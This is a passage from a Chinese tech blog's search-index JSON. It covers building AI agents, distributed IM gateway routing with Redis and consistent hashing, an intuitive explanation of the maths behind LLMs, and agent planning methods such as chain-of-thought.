运行性能和推理效果是呈反比的关系，大参数的模型效果不错，但速度慢，尤其是带有思考的推理模型。小参数的模型速度快，但运行Agent的效果一般，经常不稳定。 代码参数预转换：尽量减少Agent中大模型参与的比例，比如使用流程预编译好的Workflow，将非必要的LLM模块转换为代码或脚本语言 各种推理加速方式：通过各种加速推理的优化方法来提升模型的运行效率，比如模型量化（Int4、int8等）、优化KV Cache、使用各种加速框架（如FlashAttention、vLLM等）、更换高性能GPU等 降低模型参数量：用大参数量的LLM作为教师模型去蒸馏小参数量的LLM\n构建 从使用提示词开始构建原型，到Workflow的构造、Multi-Agent架构设计、模型的训练和调优。\n如何让Agent更符合预期（基于上下文工程和多智能体）经验 经验一：清晰化你的预期 核心原则：避免模糊预期，给到足够清晰的预期，让大模型理解起来没有任何的歧义和困惑。\n任务要求task，输出格式format，风格语气style\n经验二：上下文精准投喂 核心原则：“给其所需，去其所扰”。模型需要且关心的信息，一定要给到；模型不需要且不相关的干扰信息，一定要想办法剔除。\n经验三：身份和历史执行清晰化 核心原则：模型需要明确知道有几方的身份，需要知道自己做过哪些事情，当前执行到哪个阶段。\n经验四：善用结构化形式表达逻辑 核心原则：相对复杂的流程、逻辑，可以优先考虑形式化、结构化方式表达，不要只用自然语言。\n用json等结构化的提示词\n经验五：尝试自定义工具协议 核心原则：如果你的领域任务相对独特且对稳定性要求较高，自定义工具协议和指令是值得尝试的。\n经验六：Few-Shot要合理使用 核心原则：灵活性强的场景慎用Few-Shot，特定任务中建议用多样化的Few-Shot。\n给出示例，llm模仿示例回复。\n经验七：保持上下文的“苗条” 核心原则：在不损失性能的前提下，尽可能对上下文进行“瘦身”。\n经验八：使用记忆管理来避免模型遗忘 核心原则：重点信息多次增强提示，上下文压缩减少历史对话轮次，外部存储帮助实时唤起更久的记忆。\n经验九： 使用Multi-Agent来平衡可控性与灵活性 核心原则：Workflow提升可控性，LLM自主决策提升灵活性，好的Multi-Agent设计既可控又能灵活。\n经验十： 只有HITL才能做出更好的Agent 核心原则：只有坚持人在回路（HITL），深入业务场景中，才能做出好的Agent。\n想要做好Agent，必须要先知道“人”是怎么做的，让agent学着人做。\nAgent/Skills/Teams 架构演进及技术选型 基础大模型无法完美内化“领域知识”和高效复用“长期记忆”的背景下，不断尝试“外挂”出这些能力的。本质上就是大家对大模型如何更好的注入领域知识和记忆管理这两方面的需求，不断促进了Agent架构的演化。\nSingle Sgent Multi Agent 解决领域知识的隔离与高效注入问题\nSkills 用文件系统的结构化能力替代了复杂的网络通信协议，用渐进式的信息披露替代了暴力的全量注入。\nAgent Teams 探索高度不确定性的决策难题。\n指导性结论 模型越强效果越好，但并非Agent越多效果就越好 尽量降低沟通成本和通信带宽 单Agent的45%阈值法则 错误放大效应 场景决定架构：没有万能钥匙 选型 reference 阿里云服务领域Agent智能体：从概念到落地的思考、设计与实践\n为什么一定要做Agent智能体？\nManus的技术实现原理浅析与简单复刻\n如何构建和调优高可用性的Agent？浅谈阿里云服务领域Agent构建的方法论\n如何让Agent更符合预期？基于上下文工程和多智能体构建云小二Aivis的十大实战经验\nAgent/Skills/Teams 架构演进过程及技术选型之道\nDeploy Your Own AI Agent in 45 Minutes | Beginner OpenClaw Tutorial\n企业级 Agent 多智能体架构与选型指南 \u0026ndash; 来自1000+行业应用实践积累\n","permalink":"https://buvidk1234.github.io/posts/agent-practice/","summary":"\u003ch2 id=\"1-客服agent\"\u003e1. 客服agent\u003c/h2\u003e\n\u003cp\u003e客户问题种类：\n事实类问题、诊断类问题、模糊类问题、其他问题等\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e诊断类问题\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e解释问题 VS 解决问题\n\u003cimg alt=\"ExplainvsSolve\" loading=\"lazy\" src=\"/images/ExplainvsSolve.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"react-agent\"\u003eReact Agent\u003c/h3\u003e\n\u003cp\u003e从Agent的最开始，LLM先思考（Thought），然后触发动作（Action）和输入（Action Input），之后执行并观察工具执行结果（Observation），如果观察的效果不满足需求，会重回到思考阶段，最后生成最终回答（Final Answer）\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"react_agent\" loading=\"lazy\" src=\"/images/react_agent.png\"\u003e\u003c/p\u003e\n\u003cp\u003e选择API、反问、提取入参、执行API的准确度\u003c/p\u003e\n\u003cp\u003e“问题识别” -\u0026gt; “查询SOP工具” -\u0026gt; “反问客户、获取信息” -\u0026gt; “根据信息查询工具” -\u0026gt; “查询到工具执行结果” -\u0026gt; “根据执行结果来回复客户” -\u0026gt; “客户继续沟通” -\u0026gt; \u0026hellip; -\u0026gt; “解决问题” \n\u003cimg alt=\"planningexample\" loading=\"lazy\" src=\"/images/planningexample.png\"\u003e\u003c/p\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eTEXT\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e用户提问 -\u0026gt; 判断意图 -\u0026gt; 模糊 -\u0026gt; 追问\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    -\u0026gt; 清楚 - 需要进入agent? -\u0026gt; api检索 -\u0026gt; api选择 -\u0026gt; 参数判断 -\u0026gt; 参数组装 -\u0026gt; 动作执行 -\u0026gt; 观察结果 -\u0026gt; 生成答案\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    -\u0026gt;  不足 -\u0026gt; 追问\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch3 id=\"问题与优化\"\u003e问题与优化\u003c/h3\u003e\n\u003cp\u003e在实际业务落地的情况下，需要考虑几个因素：执行效果、整体耗时、大模型生成成本、API调用成本等等诸多因素，如果效果好，但是耗时太久，或者大模型的生成成本（token、qps）、API的调用成本（qps）等都太高，那么也未必有好的用户体验。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e多步调用耗时，将api做到开箱即用，支持多种传参方式，减少对用户的询问。\u003c/li\u003e\n\u003cli\u003e慢api作异步处理，前端显示卡片展示进度。\u003c/li\u003e\n\u003cli\u003e构造高质量的训练数据集来对模型进行Finetune训练，让大模型在选择API、反问、提取入参、执行API的准确度上都尽可能的高\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2-why-agent\"\u003e2. why agent?\u003c/h2\u003e\n\u003cp\u003eagent: 让大模型“代理/模拟”「人」的行为，使用某些“工具/功能”来完成某些“任务”的能力。\u003c/p\u003e","title":"Agent_practice"},{"content":"分布式 IM 网关路由架构分析与设计 单机 IM 网关阶段，用户与 WebSocket 连接关系维护在本地内存即可，例如使用 sync.Map 或 map[int64]*websocket.Conn + RWMutex。该模式实现简单、链路短、时延低。\n当在线规模持续增长后，单机的 TCP 连接数、CPU 核数与网络带宽会触达上限，系统必须演进为多实例网关集群。此时核心问题变为：\n用户分散在不同网关实例后，A 给 B 发消息时，如何在毫秒级准确定位 B 所在节点？\n本文围绕该问题展开，重点覆盖接入层方案、路由演进路径、集中式 Redis 架构在高规模下的瓶颈，以及“连接即路由”的去中心化方向。\n一、接入层：客户端先连到谁 在内部路由之前，需要先确定客户端第一跳接入方式。主流做法通常分为两类。\n1. 前置负载均衡接入（Nginx/LVS/SLB） 在网关集群前加反向代理，客户端连接统一入口，再由代理层分发到后端网关。\n特点：接入结构直观，客户端侧配置简单。 问题：代理层同样承担长连接状态，在高并发七层代理场景下会带来明显内存与成本压力。 2. Dispatch 服务引流（服务发现 + 直连） 客户端先请求无状态的 HTTP Dispatch 接口。Dispatch 根据网关健康度、负载指标或一致性 Hash 返回目标地址，例如 192.168.1.100:8080，然后客户端直接连目标网关。\n优势：去掉代理层代持长连接成本，网络拓扑更扁平。 代价：对调度策略、健康探测和故障转移能力要求更高。 二、路由策略：A 如何找到 B 接入路径确定后，核心问题回到路由：A 发给 B，A 所在网关如何将消息准确投递到 B 所在网关。\n演进一：全局广播（Broadcast） A 所在网关把消息广播给所有网关实例。每个实例检查本地连接表，命中就投递，未命中就丢弃。\n优点：实现成本低，网关可保持近似无状态。 缺点：单聊被放大为 $N$ 份网络与计算开销（$N$ 为网关节点数），规模增大后资源浪费显著。 演进二：Redis 集中式路由（Centralized Routing） 为避免广播风暴，可将 Redis 作为全局路由目录：用户登录时写入“用户-网关”绑定，发消息前查询 Redis 后再定向投递。\n多端在线场景下，可在同一用户 Key 下按平台保存路由。由于 Redis Hash 的 Field Value 为字符串，通常存储 JSON 字符串。\nJAVASCRIPT// HASH KEY: \u0026#34;user:10086\u0026#34; { \u0026#34;Android\u0026#34;: \u0026#34;{\\\u0026#34;gateway_ip\\\u0026#34;:\\\u0026#34;192.168.1.100:8080\\\u0026#34;,\\\u0026#34;login_time\\\u0026#34;:1710313450}\u0026#34;, \u0026#34;Windows\u0026#34;: \u0026#34;{\\\u0026#34;gateway_ip\\\u0026#34;:\\\u0026#34;192.168.1.105:8080\\\u0026#34;,\\\u0026#34;login_time\\\u0026#34;:1710300000}\u0026#34; } 路由流转如下：\nsequenceDiagram participant UserA participant GatewayA as 网关 A participant Redis as Redis 集群 participant GatewayB as 网关 B (Android) participant GatewayC as 网关 C (Windows) UserA-\u003e\u003eGatewayA: [WebSocket] 给 B 发消息 GatewayA-\u003e\u003eRedis: HGETALL user:B Redis--\u003e\u003eGatewayA: Android -\u003e GatewayB, Windows -\u003e GatewayC Note right of GatewayA: 解析多端路由并并发投递 par 并发投递 GatewayA-\u003e\u003eGatewayB: [RPC] 投递到 B 安卓端 GatewayA-\u003e\u003eGatewayC: [RPC] 投递到 B 桌面端 end该方案通常可覆盖中小规模系统需求；当目标提升到千万级 DAU 时，瓶颈会逐层显现。\n三、Redis 集中式架构的三道门槛 3.1 查询洪峰：单核 QPS 上限 IM 路由访问模型是典型“写少读多”：登录、心跳、下线触发写，消息发送触发读。朴素实现下，基本每发一条消息都会触发一次路由查询。\n按常见经验，PCU（峰值同时在线）约为 DAU 的 10% 到 20%。当 DAU 为 1000 万时，晚高峰在线连接约在 100 万到 200 万。叠加心跳、单聊互发、群聊扩散与路由查询后，Redis 压力容易达到 5 万到 15 万 QPS。\nRedis 的命令执行路径主要受主线程 CPU 限制。请求接近阈值后，排队会直接表现为消息时延抖动。\n常见优化主要有两类：\n读写分离：写入走主库，查询分摊到只读副本。 网关 L1 本地缓存：命中本地缓存时不访问 Redis。 flowchart TD Gateway[Gateway] Master[(Redis Master)] Replica1[(Redis Replica)] Replica2[(Redis Replica)] Gateway -- r/w --\u003e Master Gateway -- r --\u003e Replica1 Gateway -- r --\u003e Replica2flowchart LR Gateway[Gateway] Cache[L1 Route Cache] Redis[(Redis)] Gateway --\u003e Cache Cache -- miss --\u003e Redis Redis --\u003e Cache但 L1 缓存会引入短时间过期路由问题。\n3.2 规模海啸：单机容量与 fork 停顿 即使查询压力被分散，数据规模本身仍会成为瓶颈。按每个在线用户约 300 到 500 字节估算：\n在线用户 Redis 内存 100 万 约 300MB 到 500MB 1000 万 约 3GB 到 5GB 3000 万 约 9GB 到 15GB 内存并非唯一问题。Redis 在 BGSAVE 或主从全量同步时触发 fork()，即便采用 Copy-on-Write，页表复制仍可能造成几十毫秒到上百毫秒停顿。实时通信场景下，这类抖动会直接体现为消息排队。\n规模继续提升后，单机网络带宽和 IO 也会成为约束。因此在千万级在线阶段，路由存储通常需要迁移到 Redis Cluster，通过 16384 哈希槽将压力横向拆分到多节点。\n3.3 状态漂移：分布式一致性难题 当系统同时引入多网关、L1 缓存与 Redis Cluster 后，路由状态天然分散，典型问题是“幽灵路由”。\n例如 Redis 仍记录 User B -\u0026gt; Gateway-X，但 Gateway-X 已经故障下线。此时消息会持续投递到失效节点，形成黑洞。\n另一种情况是缓存滞后：网关 A 缓存里还是“B 在 Gateway-B”，但 B 实际已重连到 Gateway-C。\n常见补偿机制可分三层：\nRPC 失败重查：目标网关返回 USER_OFFLINE 或 ROUTE_ERROR 后，发送方清缓存并重查 Redis 再投递。 反向索引清理：维护 Gateway -\u0026gt; Users 映射，节点下线时批量清理对应路由。 TTL 心跳续租：路由记录必须续租，不续租即过期，保证最坏情况下可自动收敛。 阶段 主要问题 常见解法 查询洪峰 Redis 单核 QPS 瓶颈 读写分离 + L1 缓存 规模海啸 单机容量与 fork 停顿 Redis Cluster 状态漂移 路由一致性 失败重查 + 反向索引 + TTL 四、终极演进：连接即路由（去 Redis） 传统微服务语境中，网关通常要求无状态，状态下沉到 Redis。但在 IM 场景里，长连接本身就是核心状态。\n如果“连接在网关内存”与“路由在外部存储”长期分离，一致性修复成本会持续上升。因此“连接即路由”成为高实时通信场景下的重要演进方向。\n4.1 一致性 Hash 的确定性路由 Dispatch 通过 Hash(UserID) 把用户固定映射到某个网关，发送方只需本地计算就能确定目标节点。\nsequenceDiagram participant UserA as User A participant UserB as User B participant Gateway1 as Gateway 1 participant Gateway2 as Gateway 2 (User B 所在) UserA-\u003e\u003eGateway1: 发消息给 B Note right of Gateway1: 计算 Hash(User_B_ID) -\u003e Gateway 2 Gateway1-\u003e\u003eGateway2: [RPC] 转交消息 Gateway2-\u003e\u003eGateway2: 查本地连接表 Gateway2--\u003e\u003eUserB: [WebSocket] 投递完成 优势：零路由查询开销，链路直接。 风险：扩缩容导致映射变化，可能引发重连抖动；热点用户或热点群易造成局部过载。 4.2 Gossip 全局内存路由表 节点间通过 Gossip 传播“用户上下线事件”，让每台网关都持有全量路由表。\n优势：查路由近似本地内存查询。 挑战：事件传播带宽开销大，规模增长后维护成本高，更适合中小规模或粗粒度状态同步。 4.3 原生分布式 Actor 模型 在 Erlang/OTP 或 Akka 等 Actor 体系中，进程标识天然携带节点信息。发送消息时可直接面向目标 Actor，跨节点路由与传输由运行时处理。\nERLANGsend(TargetPid, {chat_message, \u0026#34;Hello World\u0026#34;}). 优势：分布式通信语义内建，一致性与容错上限高。 约束：技术栈门槛高，团队建设与生态配套成本较高。 五、如何做架构取舍 该演进路径不存在通用银弹，选型需要与业务阶段和目标指标匹配。\n中小到中大型规模：Redis + 读写分离 + L1 缓存 通常具备较高工程性价比。 千万级在线目标：需要系统化建设 Redis Cluster + 补偿机制 + 强调度能力。 极致实时通信场景：可评估“连接即路由”，以更高架构复杂度换取更低时延与更强吞吐。 本质上，这不是某一种中间件的胜负，而是“状态放在哪里、怎样收敛一致性、如何控制故障半径”的持续权衡。\n落地选型可归结为三类约束的平衡：业务规模、时延目标与系统复杂度。\n","permalink":"https://buvidk1234.github.io/posts/distributed-im-gateway-routing-architecture/","summary":"\u003ch1 id=\"分布式-im-网关路由架构分析与设计\"\u003e分布式 IM 网关路由架构分析与设计\u003c/h1\u003e\n\u003cp\u003e单机 IM 网关阶段，用户与 WebSocket 连接关系维护在本地内存即可，例如使用 \u003ccode\u003esync.Map\u003c/code\u003e 或 \u003ccode\u003emap[int64]*websocket.Conn + RWMutex\u003c/code\u003e。该模式实现简单、链路短、时延低。\u003c/p\u003e\n\u003cp\u003e当在线规模持续增长后，单机的 TCP 连接数、CPU 核数与网络带宽会触达上限，系统必须演进为多实例网关集群。此时核心问题变为：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用户分散在不同网关实例后，A 给 B 发消息时，如何在毫秒级准确定位 B 所在节点？\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本文围绕该问题展开，重点覆盖接入层方案、路由演进路径、集中式 Redis 架构在高规模下的瓶颈，以及“连接即路由”的去中心化方向。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"一接入层客户端先连到谁\"\u003e一、接入层：客户端先连到谁\u003c/h2\u003e\n\u003cp\u003e在内部路由之前，需要先确定客户端第一跳接入方式。主流做法通常分为两类。\u003c/p\u003e\n\u003ch3 id=\"1-前置负载均衡接入nginxlvsslb\"\u003e1. 前置负载均衡接入（Nginx/LVS/SLB）\u003c/h3\u003e\n\u003cp\u003e在网关集群前加反向代理，客户端连接统一入口，再由代理层分发到后端网关。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e特点：接入结构直观，客户端侧配置简单。\u003c/li\u003e\n\u003cli\u003e问题：代理层同样承担长连接状态，在高并发七层代理场景下会带来明显内存与成本压力。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"2-dispatch-服务引流服务发现--直连\"\u003e2. Dispatch 服务引流（服务发现 + 直连）\u003c/h3\u003e\n\u003cp\u003e客户端先请求无状态的 HTTP Dispatch 接口。Dispatch 根据网关健康度、负载指标或一致性 Hash 返回目标地址，例如 \u003ccode\u003e192.168.1.100:8080\u003c/code\u003e，然后客户端直接连目标网关。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优势：去掉代理层代持长连接成本，网络拓扑更扁平。\u003c/li\u003e\n\u003cli\u003e代价：对调度策略、健康探测和故障转移能力要求更高。\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"二路由策略a-如何找到-b\"\u003e二、路由策略：A 如何找到 B\u003c/h2\u003e\n\u003cp\u003e接入路径确定后，核心问题回到路由：A 发给 B，A 所在网关如何将消息准确投递到 B 所在网关。\u003c/p\u003e\n\u003ch3 id=\"演进一全局广播broadcast\"\u003e演进一：全局广播（Broadcast）\u003c/h3\u003e\n\u003cp\u003eA 所在网关把消息广播给所有网关实例。每个实例检查本地连接表，命中就投递，未命中就丢弃。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e优点：实现成本低，网关可保持近似无状态。\u003c/li\u003e\n\u003cli\u003e缺点：单聊被放大为 $N$ 份网络与计算开销（$N$ 为网关节点数），规模增大后资源浪费显著。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"演进二redis-集中式路由centralized-routing\"\u003e演进二：Redis 集中式路由（Centralized Routing）\u003c/h3\u003e\n\u003cp\u003e为避免广播风暴，可将 Redis 作为全局路由目录：用户登录时写入“用户-网关”绑定，发消息前查询 Redis 后再定向投递。\u003c/p\u003e","title":"分布式 IM 网关路由架构：从集中式 Redis 到连接即路由"},{"content":" 函数的表达能力，决定了计算机能在多大程度上逼近对自然语言的理解。\n本文尝试用直觉性的方式，从\u0026quot;计算机如何理解语言\u0026quot;这个根本问题出发，逐步推导出大语言模型背后的核心数学原理。\n假设词典中有若干单词，单词之间存在各种语义关系——近义、反义、上下位等。如何让计算机捕捉这些关系？\n如何让计算机理解单词？ 可以借助一种数学工具——向量。\n两个向量的夹角余弦可以衡量它们的相似度：\n$$\\cos(\\theta) = \\frac{\\mathbf{a} \\cdot \\mathbf{b}}{\\|\\mathbf{a}\\| \\|\\mathbf{b}\\|}$$$\\cos(\\theta)$ 越接近 1，两个向量越相似；越接近 -1，越相反。\n因此，可以用向量来表示单词，向量之间的余弦相似度就反映了两个词之间的语义关系。这种表示方式称为 Token Embedding：每个单词对应一个 d 维向量 $\\mathbf{x} = (x_1, x_2, \\dots, x_d)$。\n如何让计算机理解句子？ 同一个词在不同句子中含义不同。Token Embedding 只能表示孤立单词的语义，还需要一种方式来编码单词在上下文中的含义。\n为此引入位置向量（Positional Embedding）：假设句子由 m 个单词组成，为每个位置分配一个 d 维向量 $\\mathbf{p}_j$。将两者相加得到最终表示：\n$$\\mathbf{x}_j = \\text{token\\_embedding}_j + \\text{pos\\_embedding}_j$$直觉上理解：向量加法会让结果同时保留两个加数的特征。就像把\u0026quot;红色\u0026quot;和\u0026quot;大\u0026quot;两个标签贴在同一个物体上，加法后的向量 $\\mathbf{x}_j$ 就同时携带了\u0026quot;这个词是什么\u0026quot;和\u0026quot;它在第几个位置\u0026quot;两层信息。\n这样，一个由 m 个单词组成的句子就可以用 m 个向量 $(\\mathbf{x}_1, \\mathbf{x}_2, \\dots, \\mathbf{x}_m)$ 来表示，计算机便能通过向量运算\u0026quot;理解\u0026quot;句子的含义。\n如何训练模型生成文本？ GPT 类 LLM 的核心目标是预测下一个词——给定前面的所有词，预测最可能的下一个词：\n$$P(x_{t+1} \\mid x_1, x_2, \\dots, x_t)$$例如输入\u0026quot;今天天气真\u0026quot;，模型应输出\u0026quot;好\u0026quot;的概率最高。生成长文本时，只需不断把预测出的词拼接到输入末尾，重复这个过程即可。\n完整的流程是：\n将输入文本通过 Embedding 转换为向量序列 向量序列经过模型的函数映射，得到输出向量 输出向量与词表中所有词的向量计算相似度，通过 softmax 得到每个词的概率分布 从概率分布中选出下一个词 其中 Embedding 映射表（词 → 向量）也是函数的一部分，无法手工指定，需要和整个模型一起学习。\n如何学习？ 用一个简单的例子来说明：\n假设 $f(x) = ax + b$，模型预测值为 $y$，真实目标值为 $y'$。可以计算二者的误差，然后通过导数（梯度）来判断参数 $a$ 应该增大还是减小，从而使 $y$ 逐步逼近 $y'$。\n对于 LLM 这样的复杂函数，原理完全一致——通过梯度下降不断调整所有参数（包括 Embedding 映射表），使模型预测的下一个词的概率分布逼近真实分布。\n模型的核心结构 $f(x) = ax + b$ 是线性关系，但自然语言显然不是简单的线性映射。实践证明，关键不在于使用多复杂的数学函数，而在于如何巧妙地组合简单函数——Transformer 正是这一思想的产物。\n自注意力机制（Self-Attention） 单词的含义受上下文影响，因此每个词的新表示应该是它与所有上下文词交互的结果：\n$$x_i^{\\text{new}} = f(x_i, x_1, x_2, \\dots, x_m)$$Transformer 论文中使用 Q、K、V 三组向量来实现这种交互。它们由同一个输入向量 $\\mathbf{x}$ 分别乘以三个可学习的权重矩阵 $W^Q, W^K, W^V$ 得到——同一份输入，通过不同的线性变换，分别扮演三种不同的角色：\nQ（Query，查询向量）： $Q = \\mathbf{x} W^Q$，\u0026ldquo;我需要寻找什么样的上下文信息？\u0026rdquo; K（Key，键向量）： $K = \\mathbf{x} W^K$，\u0026ldquo;我具备什么特征可以被匹配？\u0026rdquo; V（Value，值向量）： $V = \\mathbf{x} W^V$，\u0026ldquo;匹配成功后，我能传递什么语义内容？\u0026rdquo; $$\\text{Attention}(Q, K, V) = \\text{softmax}\\left(\\frac{QK^T}{\\sqrt{d_k}} + M\\right)V$$其中 $\\sqrt{d_k}$ 是缩放因子，防止点积值过大导致 softmax 梯度消失；$M$ 是掩码矩阵，在生成任务中用于遮挡未来位置的词，确保模型只能看到当前词及之前的上下文。\n多头注意力机制（Multi-Head Attention） 单词在句子中的依存关系是多维的：语法结构、感情色彩、时间状态等。如果在一个高维空间里统一计算注意力，各种特征会被相互稀释，模型难以捕捉关键信息。\n解决方案是将高维向量切分成 h 个低维子空间，让每个\u0026quot;头\u0026quot;独立关注不同类型的特征：\n$$(\\mathbf{x}_{i_1}, \\mathbf{x}_{i_2}, \\dots, \\mathbf{x}_{i_h}) = \\text{split}(\\mathbf{x}_i)$$$$\\text{MultiHead}(Q, K, V) = \\text{Concat}(\\text{head}_1, \\text{head}_2, \\dots, \\text{head}_h) \\cdot W^O$$训练中可能遇到的问题 实际模型由大量 $f(x) = ax + b$（线性变换）与 $g(x) = \\max(0, x)$（激活函数，引入非线性）交替堆叠组成。在这条长计算链中，容易出现以下问题：\n数值爆炸 → 归一化（Normalization） 经过多层计算后，数值可能急剧增长（例如从 1 膨胀到 $2^{32}$）。归一化操作会按比例缩放中间结果，将其约束在合理范围内，保证训练稳定。\n过拟合 → Dropout（正则化） 如果模型过度适应训练数据中的细节和噪声，在新数据上表现就会变差（过拟合）。Dropout 在训练时随机将一部分神经元的激活值置零，迫使模型不依赖任何单一特征路径，从而学习更均衡、更鲁棒的表示。\n回顾 回过头看，LLM 的本质可以归结为一条线索：\n用向量表示语言 → 用注意力机制捕捉上下文关系 → 用梯度下降学习所有参数 → 逐词预测生成文本。\n每一步都建立在基础的数学运算之上——向量加法、矩阵乘法、softmax、求导。这些简单操作经过精巧组合和大规模堆叠，就涌现出了对自然语言的强大处理能力。\n参考资料 Attention Is All You Need — Transformer 原始论文，提出了自注意力机制和多头注意力的完整架构 nanoGPT — Andrej Karpathy 用约 600 行 Python 实现的最简 GPT 训练代码，适合从代码层面理解 Transformer Let\u0026rsquo;s build GPT: from scratch, in code, spelled out — Karpathy 配套的视频讲解，逐行构建 GPT The Illustrated Transformer — Jay Alammar 的图解 Transformer，用可视化方式解释注意力机制 Word2Vec Paper — 词向量的经典工作，本文 Token Embedding 概念的理论基础 ","permalink":"https://buvidk1234.github.io/posts/foundational-mathematics-explanation-for-llms/","summary":"\u003cblockquote\u003e\n\u003cp\u003e函数的表达能力，决定了计算机能在多大程度上逼近对自然语言的理解。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本文尝试用直觉性的方式，从\u0026quot;计算机如何理解语言\u0026quot;这个根本问题出发，逐步推导出大语言模型背后的核心数学原理。\u003c/p\u003e\n\u003cp\u003e假设词典中有若干单词，单词之间存在各种语义关系——近义、反义、上下位等。如何让计算机捕捉这些关系？\u003c/p\u003e\n\u003ch2 id=\"如何让计算机理解单词\"\u003e如何让计算机理解单词？\u003c/h2\u003e\n\u003cp\u003e可以借助一种数学工具——\u003cstrong\u003e向量\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e两个向量的夹角余弦可以衡量它们的相似度：\u003c/p\u003e\n$$\\cos(\\theta) = \\frac{\\mathbf{a} \\cdot \\mathbf{b}}{\\|\\mathbf{a}\\| \\|\\mathbf{b}\\|}$$\u003cp\u003e$\\cos(\\theta)$ 越接近 1，两个向量越相似；越接近 -1，越相反。\u003c/p\u003e\n\u003cp\u003e因此，可以用向量来表示单词，向量之间的余弦相似度就反映了两个词之间的语义关系。这种表示方式称为 \u003cstrong\u003eToken Embedding\u003c/strong\u003e：每个单词对应一个 d 维向量 $\\mathbf{x} = (x_1, x_2, \\dots, x_d)$。\u003c/p\u003e\n\u003ch2 id=\"如何让计算机理解句子\"\u003e如何让计算机理解句子？\u003c/h2\u003e\n\u003cp\u003e同一个词在不同句子中含义不同。Token Embedding 只能表示\u003cstrong\u003e孤立\u003c/strong\u003e单词的语义，还需要一种方式来编码单词在上下文中的含义。\u003c/p\u003e\n\u003cp\u003e为此引入\u003cstrong\u003e位置向量（Positional Embedding）\u003c/strong\u003e：假设句子由 m 个单词组成，为每个位置分配一个 d 维向量 $\\mathbf{p}_j$。将两者相加得到最终表示：\u003c/p\u003e\n$$\\mathbf{x}_j = \\text{token\\_embedding}_j + \\text{pos\\_embedding}_j$$\u003cp\u003e直觉上理解：向量加法会让结果同时保留两个加数的特征。就像把\u0026quot;红色\u0026quot;和\u0026quot;大\u0026quot;两个标签贴在同一个物体上，加法后的向量 $\\mathbf{x}_j$ 就同时携带了\u0026quot;这个词是什么\u0026quot;和\u0026quot;它在第几个位置\u0026quot;两层信息。\u003c/p\u003e\n\u003cp\u003e这样，一个由 m 个单词组成的句子就可以用 m 个向量 $(\\mathbf{x}_1, \\mathbf{x}_2, \\dots, \\mathbf{x}_m)$ 来表示，计算机便能通过向量运算\u0026quot;理解\u0026quot;句子的含义。\u003c/p\u003e\n\u003ch2 id=\"如何训练模型生成文本\"\u003e如何训练模型生成文本？\u003c/h2\u003e\n\u003cp\u003eGPT 类 LLM 的核心目标是\u003cstrong\u003e预测下一个词\u003c/strong\u003e——给定前面的所有词，预测最可能的下一个词：\u003c/p\u003e\n$$P(x_{t+1} \\mid x_1, x_2, \\dots, x_t)$$\u003cp\u003e例如输入\u0026quot;今天天气真\u0026quot;，模型应输出\u0026quot;好\u0026quot;的概率最高。生成长文本时，只需不断把预测出的词拼接到输入末尾，重复这个过程即可。\u003c/p\u003e\n\u003cp\u003e完整的流程是：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e将输入文本通过 Embedding 转换为向量序列\u003c/li\u003e\n\u003cli\u003e向量序列经过模型的函数映射，得到输出向量\u003c/li\u003e\n\u003cli\u003e输出向量与词表中所有词的向量计算相似度，通过 softmax 得到每个词的概率分布\u003c/li\u003e\n\u003cli\u003e从概率分布中选出下一个词\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中 Embedding 映射表（词 → 向量）也是函数的一部分，无法手工指定，需要和整个模型一起学习。\u003c/p\u003e","title":"用基础数学看懂LLM的本质"},{"content":"Agent的经典结构 Planning Planning 是 Agent 的\u0026quot;大脑前额叶\u0026quot;——负责将复杂任务拆解为可执行的步骤序列。以下是几种经典且实用的规划范式：\nChain of Thought (CoT) 核心思想： 让 LLM 逐步推理，而不是直接输出最终答案。通过在 Prompt 中加入 \u0026ldquo;Let\u0026rsquo;s think step by step\u0026rdquo; 等引导语，迫使模型展示中间推理过程。\nZero-shot CoT：无需示例，仅靠指令触发逐步思考。 Few-shot CoT：在 Prompt 中给出带推理链的示例，模型模仿其格式进行推理。 实现示例：\nZero-shot CoT 只需在 Prompt 末尾追加一句引导语：\nTEXTQ: 一个书店有37本书，又进货了25本，卖出了19本，现在有多少本？ A: Let\u0026#39;s think step by step. LLM 输出：\nTEXT1. 书店最初有 37 本书。 2. 进货 25 本后：37 + 25 = 62 本。 3. 卖出 19 本后：62 - 19 = 43 本。 答案：43本。 Few-shot CoT 则在 Prompt 中预置带推理链的 QA 示例，模型自动模仿格式：\nTEXTQ: 小明有5个苹果，给了小红2个，又买了3个，现在有几个？ A: 小明最初有5个，给了2个剩5-2=3个，又买3个变成3+3=6个。答案是6。 Q: 一个班有28人，转来5人，转走3人，现在有多少人？ A: 优点： 简单有效，显著提升数学、逻辑等需要多步推理的任务表现。\nTree of Thoughts (ToT) 核心思想： 将 CoT 从单链扩展为树状搜索。在每一步生成多个候选\u0026quot;思考分支\u0026quot;，然后通过评估函数（LLM 